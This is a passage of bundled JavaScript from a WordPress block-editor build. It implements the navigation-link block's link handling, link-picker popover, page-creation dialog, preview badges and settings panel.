    const isCustomLink = !newKind &amp;&amp; !isBuiltInType || newKind === &quot;custom&quot;;
    const kind = isCustomLink ? &quot;custom&quot; : newKind;
    const attributes2 = {
      // Passed `url` may already be encoded. To prevent double encoding, decodeURI is executed to revert to the original string.
      ...newUrl !== void 0 ? { url: newUrl ? encodeURI((0, import_url12.safeDecodeURI)(newUrl)) : newUrl } : {},
      ...label &amp;&amp; { label },
      ...void 0 !== opensInNewTab &amp;&amp; { opensInNewTab },
      ...kind &amp;&amp; { kind },
      ...type &amp;&amp; type !== &quot;URL&quot; &amp;&amp; { type }
    };
    if (newUrl &amp;&amp; !newID &amp;&amp; blockAttributes8.id) {
      const shouldSever = shouldSeverEntityLink(
        blockAttributes8.url,
        newUrl
      );
      if (shouldSever) {
        attributes2.id = void 0;
        attributes2.kind = &quot;custom&quot;;
        attributes2.type = &quot;custom&quot;;
      }
    } else if (newID &amp;&amp; Number.isInteger(newID)) {
      attributes2.id = newID;
    } else if (blockAttributes8.id) {
      attributes2.kind = kind;
      attributes2.type = type;
    }
    setAttributes(attributes2);
    const finalId = &quot;id&quot; in attributes2 ? attributes2.id : blockAttributes8.id;
    const finalKind = &quot;kind&quot; in attributes2 ? attributes2.kind : blockAttributes8.kind;
    return {
      isEntityLink: !!finalId &amp;&amp; finalKind !== &quot;custom&quot;,
      attributes: attributes2
      // Return the computed attributes object
    };
  };

  // packages/block-library/build-module/navigation-link/shared/use-handle-link-change.mjs
  function useHandleLinkChange({
    clientId,
    attributes: attributes2,
    setAttributes,
    allowTextUpdate = false
  }) {
    const { updateBlockAttributes } = (0, import_data77.useDispatch)(import_block_editor149.store);
    const { hasUrlBinding, createBinding, clearBinding } = useEntityBinding({
      clientId,
      attributes: attributes2
    });
    return (0, import_element75.useCallback)(
      (updatedLink) =&gt; {
        if (!updatedLink) {
          return;
        }
        const attrs = {
          url: updatedLink.url,
          kind: updatedLink.kind,
          type: updatedLink.type,
          id: updatedLink.id
        };
        const currentText = attributes2.label ? (0, import_dom5.__unstableStripHTML)(attributes2.label) : &quot;&quot;;
        const updatedText = updatedLink.title ?? &quot;&quot;;
        const hasTextUpdate = allowTextUpdate &amp;&amp; updatedLink.title !== void 0 &amp;&amp; updatedText !== currentText;
        const textUpdateAttributes = hasTextUpdate ? { label: (0, import_escape_html2.escapeHTML)(updatedText) } : {};
        if (!attributes2.label || attributes2.label === &quot;&quot; || hasTextUpdate) {
          attrs.title = updatedLink.title;
        }
        const willBeCustomLink = !updatedLink.id &amp;&amp; hasUrlBinding;
        if (willBeCustomLink) {
          clearBinding();
          updateBlockAttributes(clientId, {
            url: updatedLink.url,
            kind: &quot;custom&quot;,
            type: &quot;custom&quot;,
            id: void 0,
            ...textUpdateAttributes
          });
        } else {
          const { isEntityLink, attributes: updatedAttributes } = updateAttributes(attrs, setAttributes, attributes2);
          if (isEntityLink) {
            createBinding(updatedAttributes);
          } else {
            clearBinding();
          }
          if (Object.keys(textUpdateAttributes).length) {
            updateBlockAttributes(clientId, textUpdateAttributes);
          }
        }
      },
      [
        attributes2,
        allowTextUpdate,
        clientId,
        hasUrlBinding,
        createBinding,
        clearBinding,
        setAttributes,
        updateBlockAttributes
      ]
    );
  }

  // packages/block-library/build-module/navigation-link/link-ui/index.mjs
  var import_dom6 = __toESM(require_dom(), 1);
  var import_components89 = __toESM(require_components(), 1);
  var import_i18n135 = __toESM(require_i18n(), 1);
  var import_block_editor151 = __toESM(require_block_editor(), 1);
  var import_element77 = __toESM(require_element(), 1);
  var import_core_data43 = __toESM(require_core_data(), 1);
  var import_compose34 = __toESM(require_compose(), 1);
  var import_url13 = __toESM(require_url(), 1);

  // packages/block-library/build-module/navigation-link/link-ui/page-creator.mjs
  var import_components88 = __toESM(require_components(), 1);
  var import_i18n133 = __toESM(require_i18n(), 1);
  var import_data78 = __toESM(require_data(), 1);
  var import_core_data42 = __toESM(require_core_data(), 1);
  var import_notices13 = __toESM(require_notices(), 1);
  var import_html_entities5 = __toESM(require_html_entities(), 1);
  var import_element76 = __toESM(require_element(), 1);

  // packages/block-library/build-module/navigation-link/link-ui/dialog-wrapper.mjs
  var import_components87 = __toESM(require_components(), 1);
  var import_i18n132 = __toESM(require_i18n(), 1);
  var import_compose33 = __toESM(require_compose(), 1);
  var import_jsx_runtime323 = __toESM(require_jsx_runtime(), 1);
  function BackButton({ className, onBack }) {
    return /* @__PURE__ */ (0, import_jsx_runtime323.jsx)(
      import_components87.Button,
      {
        className,
        icon: (0, import_i18n132.isRTL)() ? chevron_right_small_default : chevron_left_small_default,
        onClick: (e2) =&gt; {
          e2.preventDefault();
          onBack();
        },
        size: &quot;small&quot;,
        children: (0, import_i18n132.__)(&quot;Back&quot;)
      }
    );
  }
  function DialogWrapper({ className, title, description, onBack, children }) {
    const dialogTitleId = (0, import_compose33.useInstanceId)(
      DialogWrapper,
      &quot;link-ui-dialog-title&quot;
    );
    const dialogDescriptionId = (0, import_compose33.useInstanceId)(
      DialogWrapper,
      &quot;link-ui-dialog-description&quot;
    );
    const focusOnMountRef = (0, import_compose33.useFocusOnMount)(&quot;firstElement&quot;);
    const backButtonClassName = `${className}__back`;
    return /* @__PURE__ */ (0, import_jsx_runtime323.jsxs)(
      &quot;div&quot;,
      {
        className,
        role: &quot;dialog&quot;,
        &quot;aria-labelledby&quot;: dialogTitleId,
        &quot;aria-describedby&quot;: dialogDescriptionId,
        ref: focusOnMountRef,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime323.jsxs)(import_components87.VisuallyHidden, { children: [
            /* @__PURE__ */ (0, import_jsx_runtime323.jsx)(&quot;h2&quot;, { id: dialogTitleId, children: title }),
            /* @__PURE__ */ (0, import_jsx_runtime323.jsx)(&quot;p&quot;, { id: dialogDescriptionId, children: description })
          ] }),
          /* @__PURE__ */ (0, import_jsx_runtime323.jsx)(BackButton, { className: backButtonClassName, onBack }),
          children
        ]
      }
    );
  }
  var dialog_wrapper_default = DialogWrapper;

  // packages/block-library/build-module/navigation-link/link-ui/page-creator.mjs
  var import_jsx_runtime324 = __toESM(require_jsx_runtime(), 1);
  function LinkUIPageCreator({
    postType,
    onBack,
    onPageCreated,
    initialTitle = &quot;&quot;
  }) {
    const [title, setTitle] = (0, import_element76.useState)(initialTitle);
    const [shouldPublish, setShouldPublish] = (0, import_element76.useState)(true);
    const isTitleValid = title.trim().length &gt; 0;
    const { lastError, isSaving } = (0, import_data78.useSelect)(
      (select9) =&gt; ({
        lastError: select9(import_core_data42.store).getLastEntitySaveError(
          &quot;postType&quot;,
          postType
        ),
        isSaving: select9(import_core_data42.store).isSavingEntityRecord(
          &quot;postType&quot;,
          postType
        )
      }),
      [postType]
    );
    const { saveEntityRecord } = (0, import_data78.useDispatch)(import_core_data42.store);
    const { createSuccessNotice, createErrorNotice } = (0, import_data78.useDispatch)(import_notices13.store);
    async function createPage(event) {
      event.preventDefault();
      if (isSaving || !isTitleValid) {
        return;
      }
      try {
        const savedRecord = await saveEntityRecord(
          &quot;postType&quot;,
          postType,
          {
            title,
            status: shouldPublish ? &quot;publish&quot; : &quot;draft&quot;
          },
          { throwOnError: true }
        );
        if (savedRecord) {
          const pageLink = {
            id: savedRecord.id,
            type: postType,
            title: (0, import_html_entities5.decodeEntities)(savedRecord.title.rendered),
            url: savedRecord.link,
            kind: &quot;post-type&quot;
          };
          createSuccessNotice(
            (0, import_i18n133.sprintf)(
              // translators: %s: the name of the new page being created.
              (0, import_i18n133.__)(&quot;%s page created successfully.&quot;),
              (0, import_html_entities5.decodeEntities)(savedRecord.title.rendered)
            ),
            {
              type: &quot;snackbar&quot;,
              id: &quot;page-created-success&quot;
            }
          );
          onPageCreated(pageLink);
        }
      } catch (error) {
        createErrorNotice(
          (0, import_i18n133.__)(&quot;Failed to create page. Please try again.&quot;),
          {
            type: &quot;snackbar&quot;,
            id: &quot;page-created-error&quot;
          }
        );
      }
    }
    const isSubmitDisabled = isSaving || !isTitleValid;
    return /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(
      dialog_wrapper_default,
      {
        className: &quot;link-ui-page-creator&quot;,
        title: (0, import_i18n133.__)(&quot;Create page&quot;),
        description: (0, import_i18n133.__)(&quot;Create a new page to add to your Navigation.&quot;),
        onBack,
        children: /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(import_components88.__experimentalVStack, { className: &quot;link-ui-page-creator__inner&quot;, spacing: 4, children: /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(&quot;form&quot;, { onSubmit: createPage, children: /* @__PURE__ */ (0, import_jsx_runtime324.jsxs)(import_components88.__experimentalVStack, { spacing: 4, children: [
          /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(
            import_components88.TextControl,
            {
              __next40pxDefaultSize: true,
              label: (0, import_i18n133.__)(&quot;Title&quot;),
              onChange: setTitle,
              placeholder: (0, import_i18n133.__)(&quot;No title&quot;),
              value: title
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(
            import_components88.CheckboxControl,
            {
              label: (0, import_i18n133.__)(&quot;Publish&quot;),
              help: (0, import_i18n133.__)(
                &quot;Turn off to save as a draft. Drafts won&#039;t appear on your site until published.&quot;
              ),
              checked: shouldPublish,
              onChange: setShouldPublish
            }
          ),
          lastError &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(import_components88.Notice, { status: &quot;error&quot;, isDismissible: false, children: lastError.message }),
          /* @__PURE__ */ (0, import_jsx_runtime324.jsxs)(import_components88.__experimentalHStack, { spacing: 2, justify: &quot;flex-end&quot;, children: [
            /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(
              import_components88.Button,
              {
                __next40pxDefaultSize: true,
                variant: &quot;tertiary&quot;,
                onClick: onBack,
                disabled: isSaving,
                accessibleWhenDisabled: true,
                children: (0, import_i18n133.__)(&quot;Cancel&quot;)
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime324.jsx)(
              import_components88.Button,
              {
                __next40pxDefaultSize: true,
                variant: &quot;primary&quot;,
                type: &quot;submit&quot;,
                isBusy: isSaving,
                &quot;aria-disabled&quot;: isSubmitDisabled,
                children: (0, import_i18n133.__)(&quot;Create page&quot;)
              }
            )
          ] })
        ] }) }) })
      }
    );
  }

  // packages/block-library/build-module/navigation-link/link-ui/block-inserter.mjs
  var import_i18n134 = __toESM(require_i18n(), 1);
  var import_data79 = __toESM(require_data(), 1);
  var import_block_editor150 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime325 = __toESM(require_jsx_runtime(), 1);
  var { PrivateQuickInserter: QuickInserter } = unlock(
    import_block_editor150.privateApis
  );
  function LinkUIBlockInserter({ clientId, onBack, onBlockInsert }) {
    const { rootBlockClientId } = (0, import_data79.useSelect)(
      (select9) =&gt; {
        const { getBlockRootClientId } = select9(import_block_editor150.store);
        return {
          rootBlockClientId: getBlockRootClientId(clientId)
        };
      },
      [clientId]
    );
    if (!clientId) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime325.jsx)(
      dialog_wrapper_default,
      {
        className: &quot;link-ui-block-inserter&quot;,
        title: (0, import_i18n134.__)(&quot;Add block&quot;),
        description: (0, import_i18n134.__)(&quot;Choose a block to add to your Navigation.&quot;),
        onBack,
        children: /* @__PURE__ */ (0, import_jsx_runtime325.jsx)(
          QuickInserter,
          {
            rootClientId: rootBlockClientId,
            clientId,
            isAppender: false,
            prioritizePatterns: false,
            selectBlockOnInsert: !onBlockInsert,
            onSelect: onBlockInsert ? onBlockInsert : void 0,
            hasSearch: false
          }
        )
      }
    );
  }
  var block_inserter_default = LinkUIBlockInserter;

  // packages/block-library/build-module/navigation-link/link-ui/index.mjs
  var import_jsx_runtime326 = __toESM(require_jsx_runtime(), 1);
  function getSuggestionsQuery(type, kind) {
    const perPage = 20;
    switch (type) {
      case &quot;post&quot;:
      case &quot;page&quot;:
        return { type: &quot;post&quot;, subtype: type, perPage };
      case &quot;category&quot;:
        return { type: &quot;term&quot;, subtype: &quot;category&quot;, perPage };
      case &quot;tag&quot;:
        return { type: &quot;term&quot;, subtype: &quot;post_tag&quot;, perPage };
      case &quot;post_format&quot;:
        return { type: &quot;post-format&quot;, perPage };
      default:
        if (kind === &quot;taxonomy&quot;) {
          return { type: &quot;term&quot;, subtype: type, perPage };
        }
        if (kind === &quot;post-type&quot;) {
          return { type: &quot;post&quot;, subtype: type, perPage };
        }
        return {
          // for custom link which has no type
          // always show pages as initial suggestions
          initialSuggestionsSearchOptions: {
            type: &quot;post&quot;,
            subtype: &quot;page&quot;,
            perPage
          }
        };
    }
  }
  function UnforwardedLinkUI(props, ref) {
    const { label, url, opensInNewTab, type, kind, id } = props.link;
    const { entityRecord, hasBinding, isEntityAvailable } = props.entity || {};
    const { image, badges } = useLinkPreview({
      url,
      entityRecord,
      type,
      hasBinding,
      isEntityAvailable
    });
    const { clientId } = props;
    const postType = type || &quot;page&quot;;
    const [addingBlock, setAddingBlock] = (0, import_element77.useState)(false);
    const [addingPage, setAddingPage] = (0, import_element77.useState)(false);
    const [shouldFocusPane, setShouldFocusPane] = (0, import_element77.useState)(null);
    const [initialSearchValue, setInitialSearchValue] = (0, import_element77.useState)(&quot;&quot;);
    const searchInputValueRef = (0, import_element77.useRef)(&quot;&quot;);
    const updateSearchValue = (value) =&gt; {
      searchInputValueRef.current = value;
      setInitialSearchValue(value);
    };
    const linkControlWrapperRef = (0, import_element77.useRef)();
    const addPageButtonRef = (0, import_element77.useRef)();
    const addBlockButtonRef = (0, import_element77.useRef)();
    const permissions = (0, import_core_data43.useResourcePermissions)({
      kind: &quot;postType&quot;,
      name: postType
    });
    const { isBoundEntityAvailable } = useEntityBinding({
      clientId,
      attributes: props.link
    });
    const link = (0, import_element77.useMemo)(
      () =&gt; ({
        url,
        opensInNewTab,
        title: label &amp;&amp; (0, import_dom6.__unstableStripHTML)(label),
        kind,
        type,
        id,
        image,
        badges
      }),
      [label, opensInNewTab, url, kind, type, id, image, badges]
    );
    const handlePageCreated = (pageLink) =&gt; {
      props.onChange(pageLink);
      setAddingPage(false);
      setShouldFocusPane(true);
      updateSearchValue(&quot;&quot;);
    };
    const dialogTitleId = (0, import_compose34.useInstanceId)(
      LinkUI,
      &quot;link-ui-link-control__title&quot;
    );
    const dialogDescriptionId = (0, import_compose34.useInstanceId)(
      LinkUI,
      &quot;link-ui-link-control__description&quot;
    );
    (0, import_element77.useEffect)(() =&gt; {
      if (shouldFocusPane &amp;&amp; linkControlWrapperRef.current) {
        if (shouldFocusPane?.current) {
          shouldFocusPane.current.focus();
        } else {
          const tabbableElements = import_dom6.focus.tabbable.find(
            linkControlWrapperRef.current
          );
          const nextFocusTarget = tabbableElements[0] || linkControlWrapperRef.current;
          nextFocusTarget.focus();
        }
        setShouldFocusPane(false);
      }
    }, [shouldFocusPane]);
    const blockEditingMode = (0, import_block_editor151.useBlockEditingMode)();
    return /* @__PURE__ */ (0, import_jsx_runtime326.jsxs)(
      import_components89.Popover,
      {
        ref,
        placement: &quot;bottom&quot;,
        onClose: props.onClose,
        anchor: props.anchor,
        shift: true,
        children: [
          !addingBlock &amp;&amp; !addingPage &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime326.jsxs)(
            &quot;div&quot;,
            {
              ref: linkControlWrapperRef,
              role: &quot;dialog&quot;,
              &quot;aria-labelledby&quot;: dialogTitleId,
              &quot;aria-describedby&quot;: dialogDescriptionId,
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime326.jsxs)(import_components89.VisuallyHidden, { children: [
                  /* @__PURE__ */ (0, import_jsx_runtime326.jsx)(&quot;h2&quot;, { id: dialogTitleId, children: (0, import_i18n135.__)(&quot;Add link&quot;) }),
                  /* @__PURE__ */ (0, import_jsx_runtime326.jsx)(&quot;p&quot;, { id: dialogDescriptionId, children: (0, import_i18n135.__)(
                    &quot;Search for and add a link to your Navigation.&quot;
                  ) })
                ] }),
                /* @__PURE__ */ (0, import_jsx_runtime326.jsx)(
                  import_block_editor151.LinkControl,
                  {
                    hasTextControl: true,
                    hasRichPreviews: true,
                    value: link,
                    showInitialSuggestions: true,
                    withCreateSuggestion: false,
                    noDirectEntry: !!type,
                    noURLSuggestion: !!type,
                    suggestionsQuery: getSuggestionsQuery(type, kind),
                    onChange: props.onChange,
                    onInputChange: (value) =&gt; {
                      searchInputValueRef.current = value;
                    },
                    inputValue: initialSearchValue,
                    onRemove: props.onRemove,
                    onCancel: props.onCancel,
                    handleEntities: isBoundEntityAvailable,
                    forceIsEditingLink: link?.url ? false : void 0,
                    renderControlBottom: () =&gt; {
                      if (link?.url?.length) {
                        return null;
                      }
                      return /* @__PURE__ */ (0, import_jsx_runtime326.jsx)(
                        LinkUITools,
                        {
                          addPageButtonRef,
                          addBlockButtonRef,
                          setAddingBlock: () =&gt; {
                            setAddingBlock(true);
                          },
                          setAddingPage: () =&gt; {
                            setAddingPage(true);
                          },
                          canAddPage: permissions?.canCreate &amp;&amp; type === &quot;page&quot;,
                          canAddBlock: blockEditingMode === &quot;default&quot;
                        }
                      );
                    }
                  }
                )
              ]
            }
          ),
          addingBlock &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime326.jsx)(
            block_inserter_default,
            {
              clientId: props.clientId,
              onBack: () =&gt; {
                setAddingBlock(false);
                setShouldFocusPane(addBlockButtonRef);
                updateSearchValue(searchInputValueRef.current);
              },
              onBlockInsert: props?.onBlockInsert
            }
          ),
          addingPage &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime326.jsx)(
            LinkUIPageCreator,
            {
              postType,
              onBack: () =&gt; {
                setAddingPage(false);
                setShouldFocusPane(addPageButtonRef);
                updateSearchValue(searchInputValueRef.current);
              },
              onPageCreated: handlePageCreated,
              initialTitle: searchInputValueRef.current &amp;&amp; !(0, import_url13.isURL)(searchInputValueRef.current) ? searchInputValueRef.current : &quot;&quot;
            }
          )
        ]
      }
    );
  }
  var LinkUI = (0, import_element77.forwardRef)(UnforwardedLinkUI);
  var LinkUITools = ({
    addPageButtonRef,
    addBlockButtonRef,
    setAddingBlock,
    setAddingPage,
    canAddPage,
    canAddBlock
  }) =&gt; {
    const blockInserterAriaRole = &quot;listbox&quot;;
    if (!canAddPage &amp;&amp; !canAddBlock) {
      return null;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime326.jsxs)(import_components89.__experimentalVStack, { spacing: 0, className: &quot;link-ui-tools&quot;, children: [
      canAddPage &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime326.jsx)(
        import_components89.Button,
        {
          __next40pxDefaultSize: true,
          ref: addPageButtonRef,
          icon: plus_default,
          onClick: (e2) =&gt; {
            e2.preventDefault();
            setAddingPage(true);
          },
          &quot;aria-haspopup&quot;: blockInserterAriaRole,
          children: (0, import_i18n135.__)(&quot;Create page&quot;)
        }
      ),
      canAddBlock &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime326.jsx)(
        import_components89.Button,
        {
          __next40pxDefaultSize: true,
          ref: addBlockButtonRef,
          icon: plus_default,
          onClick: (e2) =&gt; {
            e2.preventDefault();
            setAddingBlock(true);
          },
          &quot;aria-haspopup&quot;: blockInserterAriaRole,
          children: (0, import_i18n135.__)(&quot;Add block&quot;)
        }
      )
    ] });
  };

  // packages/block-library/build-module/navigation-link/shared/use-link-preview.mjs
  var import_i18n136 = __toESM(require_i18n(), 1);
  var import_url14 = __toESM(require_url(), 1);
  var import_block_editor152 = __toESM(require_block_editor(), 1);
  var import_data80 = __toESM(require_data(), 1);
  var import_core_data44 = __toESM(require_core_data(), 1);
  var { useRemoteUrlData, isHashLink, isRelativePath } = unlock(
    import_block_editor152.privateApis
  );
  function capitalize(str) {
    return str.charAt(0).toUpperCase() + str.slice(1);
  }
  function computeDisplayUrl({ linkUrl, homeUrl } = {}) {
    if (!linkUrl) {
      return { displayUrl: &quot;&quot;, isExternal: false };
    }
    let displayUrl = (0, import_url14.safeDecodeURI)(linkUrl);
    let isExternal = false;
    if (isRelativePath(linkUrl) || isHashLink(linkUrl)) {
      return { displayUrl, isExternal: false };
    }
    try {
      const parsedUrl = new URL(linkUrl);
      const siteHost = new URL(homeUrl).host;
      if (parsedUrl.host === siteHost) {
        let path = parsedUrl.pathname + parsedUrl.search + parsedUrl.hash;
        if (path.endsWith(&quot;/&quot;) &amp;&amp; path.length &gt; 1) {
          path = path.slice(0, -1);
        }
        displayUrl = path;
      } else {
        isExternal = true;
      }
    } catch (e2) {
      isExternal = true;
    }
    return { displayUrl, isExternal };
  }
  function computeBadges({
    url,
    type,
    isExternal,
    entityStatus,
    hasBinding,
    isEntityAvailable
  }) {
    const badges = [];
    if (url) {
      if (isExternal) {
        badges.push({
          label: (0, import_i18n136.__)(&quot;External link&quot;),
          intent: &quot;default&quot;
        });
      } else if (isHashLink(url)) {
        badges.push({
          label: (0, import_i18n136.__)(&quot;Internal link&quot;),
          intent: &quot;default&quot;
        });
      } else if (type &amp;&amp; type !== &quot;custom&quot;) {
        badges.push({ label: capitalize(type), intent: &quot;default&quot; });
      } else {
        badges.push({
          label: (0, import_i18n136.__)(&quot;Page&quot;),
          intent: &quot;default&quot;
        });
      }
    }
    if (hasBinding &amp;&amp; !isEntityAvailable) {
      badges.push({
        label: (0, import_i18n136.sprintf)(
          /* translators: %s is the entity type (e.g., &quot;page&quot;, &quot;post&quot;, &quot;category&quot;) */
          (0, import_i18n136.__)(&quot;Missing %s&quot;),
          type
        ),
        intent: &quot;error&quot;
      });
    } else if (!url) {
      badges.push({ label: (0, import_i18n136.__)(&quot;No link selected&quot;), intent: &quot;error&quot; });
    } else if (entityStatus) {
      const statusMap = {
        publish: { label: (0, import_i18n136.__)(&quot;Published&quot;), intent: &quot;success&quot; },
        future: { label: (0, import_i18n136.__)(&quot;Scheduled&quot;), intent: &quot;warning&quot; },
        draft: { label: (0, import_i18n136.__)(&quot;Draft&quot;), intent: &quot;warning&quot; },
        pending: { label: (0, import_i18n136.__)(&quot;Pending&quot;), intent: &quot;warning&quot; },
        private: { label: (0, import_i18n136.__)(&quot;Private&quot;), intent: &quot;default&quot; },
        trash: { label: (0, import_i18n136.__)(&quot;Trash&quot;), intent: &quot;error&quot; }
      };
      const badge = statusMap[entityStatus];
      if (badge) {
        badges.push(badge);
      }
    }
    return badges;
  }
  function useLinkPreview({
    url,
    entityRecord,
    type,
    hasBinding,
    isEntityAvailable
  }) {
    const homeUrl = (0, import_data80.useSelect)((select9) =&gt; {
      return select9(import_core_data44.store).getEntityRecord(
        &quot;root&quot;,
        &quot;__unstableBase&quot;
      )?.home;
    }, []);
    const title = entityRecord?.title?.rendered || entityRecord?.title || entityRecord?.name;
    const { richData } = useRemoteUrlData(title ? null : url);
    const { displayUrl, isExternal } = computeDisplayUrl({
      linkUrl: url,
      homeUrl
    });
    const image = (0, import_data80.useSelect)(
      (select9) =&gt; {
        if (!entityRecord?.featured_media) {
          return null;
        }
        const { getEntityRecord } = select9(import_core_data44.store);
        const media = getEntityRecord(
          &quot;postType&quot;,
          &quot;attachment&quot;,
          entityRecord.featured_media
        );
        return media?.media_details?.sizes?.thumbnail?.source_url || media?.media_details?.sizes?.medium?.source_url || media?.source_url || null;
      },
      [entityRecord?.featured_media]
    );
    const badges = computeBadges({
      url,
      type,
      isExternal,
      entityStatus: entityRecord?.status,
      hasBinding,
      isEntityAvailable
    });
    const displayTitle = url ? title || richData?.title || (0, import_url14.safeDecodeURI)(url) : (0, import_i18n136.__)(&quot;Add link&quot;);
    return {
      title: displayTitle,
      url: displayUrl,
      image,
      badges
    };
  }

  // packages/block-library/build-module/navigation-link/shared/use-is-invalid-link.mjs
  var import_data81 = __toESM(require_data(), 1);
  var import_core_data45 = __toESM(require_core_data(), 1);
  var import_block_editor153 = __toESM(require_block_editor(), 1);
  var useIsInvalidLink = (kind, type, id, enabled) =&gt; {
    const isPostType = kind === &quot;post-type&quot; || type === &quot;post&quot; || type === &quot;page&quot;;
    const hasId = Number.isInteger(id);
    const blockEditingMode = (0, import_block_editor153.useBlockEditingMode)();
    const { postStatus, isDeleted } = (0, import_data81.useSelect)(
      (select9) =&gt; {
        if (!isPostType) {
          return { postStatus: null, isDeleted: false };
        }
        if (blockEditingMode === &quot;disabled&quot; || !enabled) {
          return { postStatus: null, isDeleted: false };
        }
        const { getEntityRecord, hasFinishedResolution } = select9(import_core_data45.store);
        const entityRecord = getEntityRecord(&quot;postType&quot;, type, id);
        const hasResolved = hasFinishedResolution(&quot;getEntityRecord&quot;, [
          &quot;postType&quot;,
          type,
          id
        ]);
        const deleted = hasResolved &amp;&amp; entityRecord === void 0;
        return {
          postStatus: entityRecord?.status,
          isDeleted: deleted
        };
      },
      [isPostType, blockEditingMode, enabled, type, id]
    );
    const isInvalid = isPostType &amp;&amp; hasId &amp;&amp; (isDeleted || postStatus &amp;&amp; &quot;trash&quot; === postStatus);
    const isDraft = &quot;draft&quot; === postStatus;
    return [isInvalid, isDraft];
  };

  // packages/block-library/build-module/navigation-link/shared/controls.mjs
  var import_jsx_runtime327 = __toESM(require_jsx_runtime(), 1);
  var { LinkPicker, isHashLink: isHashLink2, isRelativePath: isRelativePath2 } = unlock(
    import_block_editor154.privateApis
  );
  function getEntityTypeName(type, kind) {
    if (kind === &quot;post-type&quot;) {
      switch (type) {
        case &quot;post&quot;:
          return (0, import_i18n137.__)(&quot;post&quot;);
        case &quot;page&quot;:
          return (0, import_i18n137.__)(&quot;page&quot;);
        default:
          return type || (0, import_i18n137.__)(&quot;post&quot;);
      }
    }
    if (kind === &quot;taxonomy&quot;) {
      switch (type) {
        case &quot;category&quot;:
          return (0, import_i18n137.__)(&quot;category&quot;);
        case &quot;tag&quot;:
          return (0, import_i18n137.__)(&quot;tag&quot;);
        default:
          return type || (0, import_i18n137.__)(&quot;term&quot;);
      }
    }
    return type || (0, import_i18n137.__)(&quot;item&quot;);
  }
  function Controls2({
    attributes: attributes2,
    setAttributes,
    clientId,
    isLinkEditable = true
  }) {
    const { label, url, description, rel, opensInNewTab } = attributes2;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const { hasUrlBinding, isBoundEntityAvailable, entityRecord } = useEntityBinding({
      clientId,
      attributes: attributes2
    });
    const [isInvalid, isDraft] = useIsInvalidLink(
      attributes2.kind,
      attributes2.type,
      entityRecord?.id,
      hasUrlBinding
    );
    let helpText = &quot;&quot;;
    if (isInvalid || hasUrlBinding &amp;&amp; !isBoundEntityAvailable) {
      helpText = getInvalidLinkHelpText();
    } else if (isDraft) {
      helpText = getDraftHelpText({
        type: attributes2.type,
        kind: attributes2.kind
      });
    }
    const handleLinkChange = useHandleLinkChange({
      clientId,
      attributes: attributes2,
      setAttributes
    });
    const onNavigateToEntityRecord = (0, import_data82.useSelect)(
      (select9) =&gt; select9(import_block_editor154.store).getSettings().onNavigateToEntityRecord,
      []
    );
    const homeUrl = (0, import_data82.useSelect)((select9) =&gt; {
      return select9(import_core_data46.store).getEntityRecord(&quot;root&quot;, &quot;__unstableBase&quot;)?.home;
    }, []);
    const blockEditingMode = (0, import_data82.useSelect)(
      (select9) =&gt; select9(import_block_editor154.store).getBlockEditingMode(clientId),
      [clientId]
    );
    const isContentOnly = blockEditingMode === &quot;contentOnly&quot;;
    const preview = useLinkPreview({
      url,
      entityRecord,
      type: attributes2.type,
      hasBinding: hasUrlBinding,
      isEntityAvailable: isBoundEntityAvailable
    });
    const isViewableUrl = !!url &amp;&amp; (!isHashLink2(url) || isRelativePath2(url) &amp;&amp; !url.startsWith(&quot;/&quot;));
    const viewUrl = isViewableUrl &amp;&amp; url.startsWith(&quot;/&quot;) &amp;&amp; homeUrl ? homeUrl + url : url;
    return /* @__PURE__ */ (0, import_jsx_runtime327.jsxs)(
      import_components90.__experimentalToolsPanel,
      {
        label: (0, import_i18n137.__)(&quot;Settings&quot;),
        resetAll: () =&gt; {
          setAttributes({
            label: &quot;&quot;,
            url: &quot;&quot;,
            description: &quot;&quot;,
            rel: &quot;&quot;,
            opensInNewTab: false
          });
        },
        dropdownMenuProps,
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
            import_components90.__experimentalToolsPanelItem,
            {
              hasValue: () =&gt; !!label,
              label: (0, import_i18n137.__)(&quot;Text&quot;),
              onDeselect: () =&gt; setAttributes({ label: &quot;&quot; }),
              isShownByDefault: true,
              children: /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
                import_components90.TextControl,
                {
                  __next40pxDefaultSize: true,
                  label: (0, import_i18n137.__)(&quot;Text&quot;),
                  value: label ? (0, import_dom7.__unstableStripHTML)(label) : &quot;&quot;,
                  onChange: (labelValue) =&gt; {
                    setAttributes({ label: labelValue });
                  },
                  autoComplete: &quot;off&quot;
                }
              )
            }
          ),
          isLinkEditable &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime327.jsxs)(import_jsx_runtime327.Fragment, { children: [
            /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
              import_components90.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!url,
                label: (0, import_i18n137.__)(&quot;Link to&quot;),
                onDeselect: () =&gt; setAttributes({
                  url: void 0,
                  id: void 0,
                  kind: void 0,
                  type: void 0
                }),
                isShownByDefault: true,
                children: /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
                  LinkPicker,
                  {
                    preview,
                    onSelect: handleLinkChange,
                    suggestionsQuery: getSuggestionsQuery(
                      attributes2.type,
                      attributes2.kind
                    ),
                    label: (0, import_i18n137.__)(&quot;Link to&quot;),
                    help: helpText ? helpText : void 0
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime327.jsx)(
              import_components90.__experimentalToolsPanelItem,
              {
                hasValue: () =&gt; !!opensInNewTab,
                label: (0, import_i18n137.__)(&quot;Open in new tab&quot;),
